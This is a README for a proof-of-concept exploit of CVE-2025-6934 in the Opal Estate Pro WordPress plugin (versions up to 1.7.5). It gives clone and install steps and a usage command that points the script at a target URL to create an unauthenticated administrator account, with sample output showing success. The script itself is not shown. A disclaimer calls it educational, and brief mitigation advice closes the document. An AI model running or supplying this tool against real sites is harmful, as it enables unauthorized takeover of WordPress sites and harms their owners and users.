CVE-2025-6934 – WordPress Opal Estate Pro Exploit

📖 Description
This repository contains a Proof of Concept (PoC) exploit for CVE-2025-6934,
a critical vulnerability in the WordPress Plugin: Opal Estate Pro <= 1.7.5, which allows creating an administrator account without authentication.

⚠️ Disclaimer: This tool is provided only for educational and security research purposes.
The author is not responsible for any misuse or damage caused.

🚀 Features

• Automatic plugin version detection from readme.txt
• Nonce extraction for registration
• Exploits vulnerable AJAX endpoint
• Creates a new administrator account

🔧 Installation

Clone the repo and install dependencies:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Usage

Run the script with your target:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Example Output:

[✔] Exploit Successful!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 Screenshot

Exploit Screenshot

🛡️ Mitigation

• Update to the latest version of the plugin
• Or disable the vulnerable plugin immediately
• Monitor WordPress logs for unauthorized account creation

👤 Author

Cyberlone Indonesia (Cyberlone)

📜 License

This project is licensed under the MIT License – see the LICENSE file for details.